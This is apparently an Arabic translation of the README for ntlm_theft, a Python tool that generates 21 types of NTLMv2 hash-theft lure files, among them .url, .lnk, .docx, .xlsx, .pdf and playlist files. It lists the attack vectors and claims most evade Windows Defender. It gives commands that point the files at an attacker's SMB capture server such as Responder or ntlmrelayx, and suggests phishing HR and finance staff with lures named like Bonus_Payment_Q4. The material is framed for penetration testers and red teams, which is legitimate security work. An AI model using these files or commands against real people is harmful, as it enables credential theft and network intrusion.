ntlm_theft

أداة لتوليد أنواع متعددة من ملفات سرقة تجزئة NTLMv2.

ntlm_theft هي أداة مفتوحة المصدر بلغة Python3 تقوم بتوليد 21 نوعًا مختلفًا من مستندات سرقة التجزئة. يمكن استخدامها في التصيد عندما يسمح الهدف بحركة مرور smb خارج شبكتهم، أو إذا كنت بالفعل داخل الشبكة الداخلية.

فوائد أنواع الملفات هذه مقارنة بالمستندات القائمة على الماكرو أو مستندات الاستغلال هي أن كل هذه الملفات تم بناؤها باستخدام 'الوظائف المقصودة'. لم يتم وضع علامة على أي منها بواسطة Windows Defender Antivirus في يونيو 2020، ونجحت 17 من أصل 21 هجومًا على نظام Windows 10 محدث بالكامل.

ntlm_theft يدعم أنواع الهجمات التالية:

• تصفح المجلد الذي يحتوي على
  • .url – عبر حقل URL
  • .url – عبر حقل ICONFILE
  • .lnk - عبر حقل icon_location
  • .scf – عبر حقل ICONFILE (لا يعمل على أحدث إصدارات Windows)
  • autorun.inf عبر حقل OPEN (لا يعمل على أحدث إصدارات Windows)
  • desktop.ini - عبر حقل IconResource (لا يعمل على أحدث إصدارات Windows)
• فتح مستند
  • .xml – عبر ورقة الأنماط الخارجية لـ Microsoft Word
  • .xml – عبر حقل includepicture في Microsoft Word
  • .htm – عبر Chrome & IE & Edge img src (فقط إذا تم فتحه محليًا، وليس مستضافًا)
  • .docx – عبر حقل includepicture في Microsoft Word
  • .docx – عبر قالب خارجي لـ Microsoft Word
  • .docx – عبر إعدادات الويب frameset لـ Microsoft Word
  • .xlsx - عبر خلية خارجية لـ Microsoft Excel
  • .wax - عبر قائمة تشغيل Windows Media Player (أفضل، الفتح الأساسي)
  • .asx – عبر قائمة تشغيل Windows Media Player (أفضل، الفتح الأساسي)
  • .m3u – عبر قائمة تشغيل Windows Media Player (أسوأ، Win10 يفتح أولاً في Groovy)
  • .jnlp – عبر jar خارجي لجافا
  • .application – عبر أي متصفح (يجب تقديمه عبر متصفح تم تنزيله وإلا لن يعمل)
• فتح مستند وقبول نافذة منبثقة
  • .pdf – عبر Adobe Acrobat Reader
• النقر على رابط في برنامج الدردشة
  • .txt – رابط منسق للصقه في دردشة Zoom

حالات الاستخدام (لماذا تريد تشغيل هذا)

ntlm_theft موجهة بشكل أساسي لمختبر الاختراق وفرق الأحمر، الذين سيستخدمونها لتنفيذ تصيد داخلي على موظفي الشركة المستهدفة، أو لاختبار برامج مكافحة الفيروسات وبوابات البريد الإلكتروني بشكل جماعي. يمكن أيضًا استخدامها للتصيد الخارجي إذا كان الوصول الصادر لـ SMB مسموحًا به على جدار الحماية المحيطي.

لقد وجدتها مفيدة أثناء اختبار الاختراق لرؤية أنواع الملفات المتاحة لي بسهولة، بدلاً من قضاء الوقت في تكوين هجوم معين كما هو الحال في مهام الفريق الأحمر. يمكنك إرسال ملف .rtf أو .docx إلى قسم الموارد البشرية، ومستند جدول بيانات .xlsx إلى قسم المالية.

البدء

ستوضح لك هذه التعليمات متطلبات وكيفية استخدام ntlm_theft.

المتطلبات الأساسية

يتطلب ntlm_theft Python3 و xlsxwriter:

pip3 install xlsxwriter

المعلمات المطلوبة

لتشغيل الأداة، يجب توفير 4 معلمات: تنسيق الإدخال، ملف الإدخال أو المجلد، ووضع التشغيل الأساسي:

-g, --generate	: اختر توليد جميع الملفات أو نوع ملف محدد
-s, --server 	: عنوان IP لخادم التقاط تجزئة SMB الخاص بك (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
-f, --filename	: اسم الملف الأساسي بدون امتداد، يمكن إعادة تسميته لاحقًا (مثل: test, Board-Meeting2020, Bonus_Payment_Q4)

أمثلة تشغيل

إليك مثال على شكل التشغيل لتوليد جميع الملفات:

# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

إليك مثال على شكل التشغيل لتوليد الملفات الحديثة فقط:

# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.

إليك مثال على شكل التشغيل لتوليد ملف xlsx فقط:

# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.

المؤلفون

• جاكوب ويلكين - البحث والتطوير

الترخيص

ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin

هذا البرنامج هو برنامج مجاني: يمكنك إعادة توزيعه و/أو تعديله بموجب شروط رخصة GNU العامة كما نشرتها مؤسسة البرمجيات الحرة، إما الإصدار 3 من الرخصة أو (حسب رغبتك) أي إصدار لاحق.

يتم توزيع هذا البرنامج على أمل أن يكون مفيدًا، ولكن دون أي ضمان؛ حتى بدون الضمان الضمني للقابلية للتسويق أو الملاءمة لغرض معين. راجع رخصة GNU العامة لمزيد من التفاصيل.

الإشادات

• Ired
• Securify
• Pentestlab
• deepzec
• rocketscientist911
• Osanda
• Violation Industry
• @kazkansouh - Adding .lnk support